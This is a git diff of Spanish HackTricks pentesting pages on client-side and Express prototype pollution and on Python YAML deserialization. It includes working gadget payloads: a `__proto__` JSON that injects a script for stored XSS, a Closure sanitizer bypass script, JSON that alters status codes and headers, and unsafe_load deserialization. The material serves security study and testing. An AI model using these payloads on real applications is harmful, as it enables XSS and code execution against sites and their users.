<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
|||
|
|
@ -1,26 +1,26 @@
|
|||
# Contaminación de Prototipos en el Cliente
|
||||
# Vulnerabilidad de la Polución de Prototipos del Lado del Cliente
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
## Descubrimiento usando Herramientas Automáticas
|
||||
## Descubriendo usando Herramientas Automáticas
|
||||
|
||||
Las herramientas [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **y** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) pueden ser utilizadas para **encontrar vulnerabilidades de contaminación de prototipos**.
|
||||
Las herramientas [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **y** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) se pueden utilizar para **encontrar vulnerabilidades de polución de prototipos**.
|
||||
|
||||
Además, también podrías usar la **extensión de navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automáticamente** las **páginas** que **accedes** en busca de vulnerabilidades de contaminación de prototipos.
|
||||
Además, también podrías utilizar la **extensión del navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automáticamente** las **páginas** a las que **accedes** en busca de vulnerabilidades de polución de prototipos.
|
||||
|
||||
### Depurando dónde se utiliza una propiedad <a href="#5530" id="5530"></a>
|
||||
### Depuración de dónde se utiliza una propiedad <a href="#5530" id="5530"></a>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
|
@ -32,15 +32,15 @@ return 'test';
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Encontrando la causa raíz de Prototype Pollution <a href="#5530" id="5530"></a>
|
||||
### Encontrar la causa raíz de la Vulnerabilidad de la Polución del Prototipo <a href="#5530" id="5530"></a>
|
||||
|
||||
Una vez que alguna de las herramientas haya **identificado** una **vulnerabilidad de prototype pollution**, si el **código** **no** es muy **complejo**, puedes **buscar** en el código JS las **palabras clave** **`location.hash/decodeURIComponent/location.search`** en las Herramientas para Desarrolladores de Chrome y encontrar el lugar vulnerable.
|
||||
Una vez que se ha identificado una vulnerabilidad de polución del prototipo con alguna de las herramientas, y si el código no es demasiado complejo, es posible encontrar la vulnerabilidad buscando palabras clave como `location.hash`, `decodeURIComponent`, o `location.search` en las Herramientas para Desarrolladores de Chrome. Este enfoque te permite identificar la sección vulnerable del código JavaScript.
|
||||
|
||||
Si el código es grande y complejo, hay una manera fácil de **descubrir dónde está el código vulnerable**:
|
||||
Para bases de código más grandes y complejas, un método directo para descubrir el código vulnerable implica los siguientes pasos:
|
||||
|
||||
* Usando una de las herramientas **encuentra una vulnerabilidad** y obtén un **payload** que **establecerá una propiedad** en el constructor. En ppmap se te dará algo como: `constructor[prototype][ppmap]=reserved`
|
||||
* Ahora, establece un **punto de interrupción en la primera línea de código JS** que se va a ejecutar en la página, y actualiza la página con el payload para que la **ejecución se pause allí**.
|
||||
* Mientras la ejecución de JS está pausada **pega el siguiente script en la consola JS**. Este código indicará una vez que la propiedad 'ppmap' sea creada, así podrás encontrar dónde fue creada.
|
||||
1. Utiliza una herramienta para identificar una vulnerabilidad y obtener un payload diseñado para establecer una propiedad en el constructor. Un ejemplo proporcionado por ppmap podría verse así: `constructor[prototype][ppmap]=reserved`.
|
||||
2. Establece un punto de interrupción en la primera línea de código JavaScript que se ejecutará en la página. Actualiza la página con el payload, deteniendo la ejecución en este punto de interrupción.
|
||||
3. Mientras la ejecución de JavaScript está detenida, ejecuta el siguiente script en la consola de JS. Este script indicará cuándo se crea la propiedad 'ppmap', ayudando a localizar su origen:
|
||||
```javascript
|
||||
function debugAccess(obj, prop, debugGet=true){
|
||||
|
||||
|
|
@ -48,13 +48,13 @@ var origValue = obj[prop];
|
|||
|
||||
Object.defineProperty(obj, prop, {
|
||||
get: function () {
|
||||
if ( debugGet )
|
||||
if (debugGet)
|
||||
debugger;
|
||||
return origValue;
|
||||
},
|
||||
set: function(val) {
|
||||
debugger;
|
||||
return origValue = val;
|
||||
origValue = val;
|
||||
}
|
||||
});
|
||||
|
||||
|
|
@ -62,41 +62,42 @@ return origValue = val;
|
|||
|
||||
debugAccess(Object.prototype, 'ppmap')
|
||||
```
|
||||
Regresa a **Sources** y haz clic en “**Resume** script **execution**”. Después de hacerlo, todo el **javascript** se **ejecutará** y ppmap se contaminará de nuevo como se esperaba. Con la ayuda del Fragmento podemos encontrar dónde exactamente se contamina la propiedad ppmap. Podemos **hacer clic** en el **Call** **Stack** y te enfrentarás a **diferentes** **pilas** donde la **contaminación** **ocurrió**.
|
||||
4. Regresa a la pestaña de **Sources** y selecciona "Reanudar la ejecución del script". El JavaScript continuará ejecutándose y la propiedad 'ppmap' se verá contaminada como se esperaba. Utilizar el fragmento proporcionado facilita la identificación de la ubicación exacta donde se contamina la propiedad 'ppmap'. Al examinar la **Pila de Llamadas**, se pueden observar diferentes pilas donde ocurrió la contaminación.
|
||||
|
||||
¿Pero cuál elegir? La mayoría de las veces, la Contaminación de Prototipos ocurre en bibliotecas de Javascript, así que apunta a la pila que está adjunta a los archivos de biblioteca .js (mira al lado derecho, como en la imagen, para saber a qué punto final está adjunta la pila). En este caso tenemos 2 pilas en la línea 4 y 6, lógicamente elegiremos la línea 4 porque esa línea es la primera vez que ocurre la Contaminación, lo que significa que esta línea es la razón de la vulnerabilidad. Hacer clic en la pila nos redirigirá al código vulnerable.
|
||||
Al decidir qué pila investigar, suele ser útil apuntar a pilas asociadas con archivos de bibliotecas de JavaScript, ya que la contaminación de prototipos ocurre con frecuencia dentro de estas bibliotecas. Identifica la pila relevante examinando su conexión con los archivos de biblioteca (visibles en el lado derecho, similar a una imagen proporcionada como guía). En escenarios con múltiples pilas, como las de las líneas 4 y 6, la elección lógica es la pila en la línea 4, ya que representa la ocurrencia inicial de la contaminación y, por lo tanto, la causa raíz de la vulnerabilidad. Al hacer clic en la pila, te dirigirá al código vulnerable.
|
||||
|
||||
|
||||
|
||||
|
||||
## Encontrando Gadgets de Script
|
||||
## Encontrar Gadgets de Script
|
||||
|
||||
El gadget es el **código que será abusado una vez que se descubre una vulnerabilidad de PP**.
|
||||
|
||||
Si la aplicación es simple, podemos **buscar** **palabras clave** como **`srcdoc/innerHTML/iframe/createElement`** y revisar el código fuente y verificar si **conduce a la ejecución de javascript**. A veces, las técnicas mencionadas podrían no encontrar gadgets en absoluto. En ese caso, la revisión pura del código fuente revela algunos gadgets interesantes como el siguiente ejemplo.
|
||||
Si la aplicación es simple, podemos **buscar** **palabras clave** como **`srcdoc/innerHTML/iframe/createElement`** y revisar el código fuente para verificar si **conduce a la ejecución de JavaScript**. A veces, las técnicas mencionadas pueden no encontrar gadgets en absoluto. En ese caso, la revisión pura del código fuente revela algunos buenos gadgets como en el siguiente ejemplo.
|
||||
|
||||
### Ejemplo de encontrar un gadget de PP en el código de la biblioteca Mithil
|
||||
|
||||
Revisa este artículo: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
|
||||
Consulta este artículo: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
|
||||
|
||||
## Recompilación de payloads para bibliotecas vulnerables
|
||||
|
||||
* [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
|
||||
* [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
|
||||
|
||||
## Bypass de Sanitizadores HTML vía PP
|
||||
## Bypass de Sanitizadores HTML a través de PP
|
||||
|
||||
[**Esta investigación**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) muestra gadgets de PP para usar para **evitar las sanitizaciones** proporcionadas por algunas bibliotecas de sanitizadores HTML:
|
||||
[**Esta investigación**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) muestra gadgets de PP para **burlar las sanitizaciones** proporcionadas por algunas bibliotecas de sanitizadores HTML:
|
||||
|
||||
* #### sanitize-html
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (668).png" alt="https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-7.png"><figcaption></figcaption></figure>
|
||||
|
||||
* #### dompurify
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (669).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (669).png" alt="https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png"><figcaption></figcaption></figure>
|
||||
|
||||
* #### Closure
|
||||
```html
|
||||
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
|
||||
<script>
|
||||
Object.prototype['* ONERROR'] = 1;
|
||||
Object.prototype['* SRC'] = 1;
|
||||
|
|
@ -124,14 +125,14 @@ document.body.append(node);
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende AWS hacking de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,20 +1,23 @@
|
|||
# Gadgets de Contaminación de Prototipos en Express
|
||||
# Gadgets de Prototype Pollution de Express
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Servir respuestas XSS
|
||||
|
||||
**Para más detalles [consulta la investigación original](https://portswigger.net/research/server-side-prototype-pollution)**
|
||||
|
||||
### Cambiar el tipo de contenido JSON a HTML
|
||||
|
||||
En una aplicación Express que utiliza una **respuesta de tipo de contenido JSON** y refleja un JSON:
|
||||
|
|
@ -25,11 +28,11 @@ _.merge({}, req.body);
|
|||
res.send(req.body);
|
||||
});
|
||||
```
|
||||
En estos casos, normalmente no es posible XSS con un tipo de contenido JSON. Sin embargo, con la contaminación de prototipos podemos **confundir a Express para que sirva una respuesta HTML.** Esta vulnerabilidad depende de que la aplicación utilice **`res.send(obj)`** y use el analizador de cuerpo con el tipo de contenido application/json.
|
||||
En estos casos, normalmente no es posible realizar XSS con un tipo de contenido JSON. Sin embargo, con la contaminación de prototipos podemos **confundir a Express para que sirva una respuesta HTML.** Esta vulnerabilidad depende de que la aplicación utilice **`res.send(obj)`** y del uso del analizador de cuerpo con el tipo de contenido application/json.
|
||||
```json
|
||||
{"__proto__":{"_body":true,"body":"<script>evil()"}}
|
||||
```
|
||||
Al **contaminar** tanto las propiedades **`body`** como **`_body`**, es posible hacer que **Express sirva el tipo de contenido HTML** y refleje la propiedad `_body`, lo que resulta en XSS almacenado.
|
||||
Por **contaminar** las propiedades **`body`** y **`_body`**, es posible hacer que **Express sirva el tipo de contenido HTML** y refleje la propiedad `_body`, lo que resulta en XSS almacenado.
|
||||
|
||||
### Renderizar UTF7
|
||||
|
||||
|
|
@ -41,25 +44,25 @@ Es posible hacer que express **renderice contenido UTF-7 con**:
|
|||
|
||||
### Espacios JSON
|
||||
|
||||
El siguiente PP hará que los atributos dentro de un JSON tengan un espacio extra, lo cual no romperá la funcionalidad:
|
||||
El siguiente PP hará que los atributos dentro de un JSON tengan un espacio adicional que no romperá la funcionalidad:
|
||||
```json
|
||||
{"__proto__":{"json spaces": " "}}
|
||||
```
|
||||
Entonces un JSON reflejado se verá así:
|
||||
Entonces, un JSON reflejado se verá así:
|
||||
```json
|
||||
{"foo": "bar"} -- Note the extra space
|
||||
```
|
||||
### Encabezados Expuestos
|
||||
### Cabeceras expuestas
|
||||
|
||||
El siguiente gadget de PP hará que el servidor envíe de vuelta el encabezado HTTP: **`Access-Control-Expose_headers: foo`**
|
||||
El siguiente gadget de PP hará que el servidor envíe de vuelta la cabecera HTTP: **`Access-Control-Expose_headers: foo`**
|
||||
```json
|
||||
{"__proto__":{"exposedHeaders":["foo"]}}
|
||||
```
|
||||
Requiere que el **módulo CORS esté instalado**
|
||||
Se requiere que el **módulo CORS esté instalado**
|
||||
|
||||
### **Método OPTIONS**
|
||||
|
||||
Con el siguiente payload, es posible **ocultar un método de una respuesta OPTIONS**:
|
||||
Con la siguiente carga útil, es posible **ocultar un método de una respuesta OPTIONS**:
|
||||
```javascript
|
||||
// Original reponse: POST,GET,HEAD
|
||||
|
||||
|
|
@ -76,28 +79,28 @@ Es posible cambiar el **código de estado devuelto** utilizando la siguiente car
|
|||
```
|
||||
### Error
|
||||
|
||||
Cuando asignas a un prototipo con un primitivo como una cadena, produce una **operación no-op ya que el prototipo tiene que ser un objeto**. Si intentas asignar un objeto prototipo al `Object.prototype` en sí, esto **lanzará una excepción**. Podemos usar estos dos comportamientos para **detectar si la contaminación de prototipos fue exitosa**:
|
||||
Cuando asignas un prototipo con un valor primitivo como una cadena, se produce una **operación sin efecto ya que el prototipo debe ser un objeto**. Si intentas asignar un objeto prototipo al `Object.prototype` en sí mismo, esto **lanzará una excepción**. Podemos utilizar estos dos comportamientos para **detectar si la contaminación del prototipo fue exitosa**:
|
||||
```javascript
|
||||
({}).__proto__.__proto__={}//throws type exception
|
||||
({}).__proto__.__proto__="x"//no-op does not throw exception
|
||||
```
|
||||
### Valor Reflejado
|
||||
|
||||
Si la aplicación está reflejando un objeto en la respuesta, podrías simplemente crear un atributo con un **nombre extraño y el `__proto__`** y si **solo el nombre extraño se refleja**, es posible que la web sea vulnerable:
|
||||
Cuando una aplicación incluye un objeto en su respuesta, crear un atributo con un **nombre inusual junto a `__proto__`** puede ser revelador. Específicamente, si **solo se devuelve el atributo inusual** en la respuesta, esto podría indicar la vulnerabilidad de la aplicación:
|
||||
```json
|
||||
{"hacktricks":"rocks","__proto__":"test"}
|
||||
{"unusualName":"value","__proto__":"test"}
|
||||
```
|
||||
O si se utiliza una biblioteca similar a Lodash, puedes **establecer una propiedad a través de PP y dentro del objeto** y si esa propiedad no se refleja es porque Lodash examina el objeto actual para ver si la propiedad ya existe en el objeto fusionado:
|
||||
Además, en escenarios donde se emplea una biblioteca como Lodash, establecer una propiedad tanto a través de la contaminación del prototipo (PP) como directamente dentro del objeto ofrece otro enfoque de diagnóstico. Si se omite tal propiedad de la respuesta, sugiere que Lodash está verificando la existencia de la propiedad en el objeto objetivo antes de fusionar:
|
||||
```javascript
|
||||
{"__proto__":{"a":"asd"},"a":"asd2","b":"dfg"}
|
||||
// If only b is reflected then PP in Lodash
|
||||
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
|
||||
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
|
||||
```
|
||||
## Varios
|
||||
|
||||
### Permitir Puntos
|
||||
### Permitir puntos
|
||||
|
||||
Existe una opción en Express que te permite **crear objetos a partir de parámetros de cadena de consulta**.\
|
||||
Definitivamente podrías usarla en una **cadena de bugs** para explotar una **vulnerabilidad de contaminación de prototipos**.
|
||||
Hay una opción en Express que te permite **crear objetos a partir de parámetros de cadena de consulta**.\
|
||||
Definitivamente podrías usarlo en una **cadena** de errores para explotar una vulnerabilidad de **polución de prototipos**.
|
||||
```json
|
||||
{"__proto__":{"allowDots":true}}
|
||||
```
|
||||
|
|
@ -113,10 +116,10 @@ Definitivamente podrías usarla en una **cadena de bugs** para explotar una **vu
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,23 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Mira los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Deserialización de Yaml
|
||||
# **Deserialización** de Yaml
|
||||
|
||||
Las librerías de python de **Yaml** también son capaces de **serializar objetos de python** y no solo datos en bruto:
|
||||
Las bibliotecas de **Yaml** en python también son capaces de **serializar objetos de python** y no solo datos en bruto:
|
||||
```
|
||||
print(yaml.dump(str("lol")))
|
||||
lol
|
||||
|
|
@ -28,14 +26,14 @@ print(yaml.dump(tuple("lol")))
|
|||
- l
|
||||
- o
|
||||
- l
|
||||
|
||||
|
||||
print(yaml.dump(range(1,10)))
|
||||
!!python/object/apply:builtins.range
|
||||
- 1
|
||||
- 10
|
||||
- 1
|
||||
```
|
||||
Comprueba cómo la **tupla** no es un tipo de dato en bruto y, por lo tanto, fue **serializada**. Y lo mismo sucedió con el **rango** (tomado de los builtins).
|
||||
Verifica cómo la **tupla** no es un tipo de dato en bruto y, por lo tanto, fue **serializada**. Y lo mismo ocurrió con el **rango** (tomado de los builtins).
|
||||
|
||||
 (1).png>)
|
||||
|
||||
|
|
@ -58,7 +56,7 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
|
|||
#The other ways to load data will through an error as they won't even attempt to
|
||||
#deserialize the python object
|
||||
```
|
||||
El código anterior utilizó **unsafe\_load** para cargar la clase python serializada. Esto se debe a que en **la versión >= 5.1**, no permite **deserializar ninguna clase python serializada o atributo de clase**, con Loader no especificado en load() o Loader=SafeLoader.
|
||||
El código anterior utilizó **unsafe\_load** para cargar la clase Python serializada. Esto se debe a que en **versión >= 5.1**, no permite **deserializar ninguna clase Python serializada o atributo de clase**, con Loader no especificado en load() o Loader=SafeLoader.
|
||||
|
||||
## Exploit Básico
|
||||
|
||||
|
|
@ -77,36 +75,36 @@ print(yaml.unsafe_load(data)) #Executed
|
|||
print(yaml.full_load_all(data))
|
||||
print(yaml.unsafe_load_all(data))
|
||||
```
|
||||
## Vulnerabilidad .load("\<contenido>") sin Loader
|
||||
## Vulnerable .load("\<content>") sin Loader
|
||||
|
||||
